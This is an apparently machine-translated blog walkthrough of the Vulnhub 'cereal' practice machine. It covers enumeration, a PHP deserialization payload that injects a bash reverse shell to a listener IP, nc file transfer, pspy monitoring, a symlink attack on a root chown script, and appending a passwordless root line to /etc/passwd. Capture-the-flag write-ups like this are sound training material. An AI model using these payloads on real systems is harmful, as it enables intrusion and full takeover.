当前位置:网站首页>Vulnhub's cereal
Vulnhub's cereal
2022-07-03 11:47:00 【Plum_ Flowers_ seven】
Catalog
3、 ... and 、 Service version detection
5、 ... and 、 information gathering
6、 ... and 、 Catalog explosion
8、 ... and 、gobuster Subdomain explosion
4.dirbuster Blasting backup file
11、 ... and 、 Download backup files and audit
2. Caused by deserialization rce
fourteen 、pspy Capture timed progress —— Raise the right
One 、 The host found
Two 、 Port scanning
3、 ... and 、 Service version detection
Four 、 Port analysis
1.21 ftp
21 The port is open ftp service , This is also ftp Default port , We can know ftp The server ip, I also know that I can log in anonymously
2.22 80
Open common services ssh and http service
3.139 445 3306
139 445 Generally deployed smb service , Just based on different protocols .
3306 mysql Common data ports . Allow connection is shown here .
4. Other ports
As for other ports , except 44441 Opened a http service , There is not much valid information left , The service didn't come out
5、 ... and 、 information gathering
1.80
The main page didn't harvest
Source code : Interface , Hide directory , The leaked source code was not found . No gain
2.44441
There is nothing more
6、 ... and 、 Catalog explosion
1.80
(1) Default dictionary
Direct scanning ,dir The default with common.txt run , Scan out these directories
You can have one wordpress( Judgment through other links ) Background login interface , Trying a weak password is invalid
(2)/blog
There is a domain name information ,backup Backup ,
(3)phpinfo
You can learn some interface information , Profile information , Server language running environment (php)
2.44441
There is no valid information here .
3. Change a big dictionary and run
There is no more information
7、 ... and 、 Bind domain name
visit , It turned out to be a Apache The default page for . Try to explode the directory under this domain name , According to the prompt , Find a backup file , As a result, pull pull pull , Or nothing .
1.80
2.44441
8、 ... and 、gobuster Subdomain explosion
gobuster vhost -u http://cereal.ctf:44441 -w /usr/share/seclists/Discovery/DNS/fierce-hostlist.txt
A subdomain name is found here
Nine 、secure.cereal.ctf
take ip and host Access after binding the file ,80 It's the same as the main interface
44441 Such a thing is deployed at the bottom of the port
Ten 、 breakthrough
1. function
This is an execution ping Interface of operation . And it calls the operating system ping command
2. Command injection
| && ; Try with these
The attempt failed
3. Packet capture decoding
Obviously , This is a php Serialized data , How to use this deserialization , How to determine whether there is a deserialization vulnerability . We can only determine whether there is a deserialization vulnerability through code audit , To construct the payload.
4.dirbuster Blasting backup file
(1) The backup file may have a filename
.svn .git
The attempt failed
(2) Backup directory burst
As a result, there is one back_en route , This is the backup file path
(3) Backup file
choose seclists Under the conmon.txt To blow up ,200 Normal state
11、 ... and 、 Download backup files and audit
1.index.php.bak file
This is the back-end code
Twelve 、 structure payload
Find one. php Online website to implement
<?php
class pingTest {
public $ipAddress = "192.168.0.106";
public $isValid = True;
}
$obj = NEW pingTest;
$serilaze= serialize($obj);
echo urlencode($serilaze);
?>
13、 ... and 、 Try to inject
1. normal ping command
2. Caused by deserialization rce
You can see in the source code section id Command execution succeeded
3. rebound shell
bash -i >& /dev/tcp/192.168.0.106/5555 0>&1
<?php
class pingTest {
public $ipAddress = "192.168.0.106;bash -i >& /dev/tcp/192.168.0.106/5555 0>&1 ";
public $isValid = True;
}
$obj = NEW pingTest;
$serilaze= serialize($obj);
echo urlencode($serilaze);
?>
Break through the border , Rebound success :
fourteen 、pspy Capture timed progress —— Raise the right
summary : In the previous study , We have learned a lot about the means of raising rights , Kernel vulnerability ,suid Authority inheritance ,sudo Configuration of permissions ,motd Inject , out of buffer , utilize redis unauthorized , use mysql Write the public key , None of these means can claim power here .
1.pspy Process monitoring software
sketch : This software can be used by ordinary users , Can monitor root Generated process . See if there is a process that can be used to raise rights .
Because the goal is 64 Bit , We also download one 64 Bit .
2. adopt nc transmission
nc -nvlp 4444 > pspy
nc 192.168.0.104 4444 < pspy64 -w 1
3. perform pspy
The first step is to give permission , After execution
I'll take it , There is everything , It has to be said that this is an artifact of system troubleshooting .
4.chown.py
We found an exception file , Try to analyze it
5. Permission to analysis
The main genera and groups are all root, And we can also read .
6. see shell Source code
It is mainly to change the owner and group of all files in the following folder to rocky:apache, Then we can change it by linking /etc/passwd Genus group and owner of , We are currently apache group .
7. Modify master and group through soft connection
ln Parameters -f:
-f prompt ln
Command replaces any existing destination path . If the destination path already exists , There is no designation -f
sign ,ln
The command does not create a new link , Instead, write a diagnostic message to the standard error and continue linking the rest
SourceFiles.
8. Ten minutes long wait
You can see that the file has been changed
9. Additional root user
echo "mhq::0:0:root:/root:/bin/bash" >> /etc/passwd
Mention right to success
边栏推荐
- 导师对帮助研究生顺利完成学业提出了20条劝告:第一,不要有度假休息的打算.....
- 软件测试周刊(第78期):你对未来越有信心,你对现在越有耐心。
- Stm32hal library upgrades firmware based on flash analog U disk (detailed explanation)
- 错排问题 (抽奖,发邮件)
- C language AES encryption and decryption
- Gut | Yu Jun group of the Chinese University of Hong Kong revealed that smoking changes intestinal flora and promotes colorectal cancer (do not smoke)
- How PHP solves the problem of high concurrency
- 剑指offer专项32-96题做题笔记
- R语言ggplot2可视化:gganimate包创建动态折线图动画(gif)、使用transition_reveal函数在动画中沿给定维度逐步显示数据、在折线移动方向添加数据点
- 鸿蒙第四次培训
猜你喜欢
随机推荐
After using the thread pool for so long, do you really know how to reasonably configure the number of threads?
Kibana~Kibana的安装和配置
Cuiyusong, CTO of youzan: the core goal of Jarvis is to make products smarter and more reliable
【学习笔记】dp 状态与转移
How should intermediate software designers prepare for the soft test
2022年湖南工学院ACM集训第二次周测题解
The uniapp scroll view solves the problems of high adaptability and bullet frame rolling penetration.
R语言使用gridExtra包的grid.arrange函数将ggplot2包的多个可视化图像横向组合起来,ncol参数自定义组合图列数、nrow参数自定义组合图行数
优化接口性能
Programmers' entrepreneurial trap: taking private jobs
量化计算调研
MySQL uses the method of updating linked tables with update
repo ~ 常用命令
Visual Studio 2022下载及配置OpenCV4.5.5
ORACLE进阶(一) 通过EXPDP IMPDP命令实现导dmp
R language uses data The table package performs data aggregation statistics, calculates window statistics, calculates the median of sliding groups, and merges the generated statistical data into the o
mysql使用update联表更新的方法
Web安全总结
836. 合并集合(DAY 63)并查集
聊聊Flink框架中的状态管理机制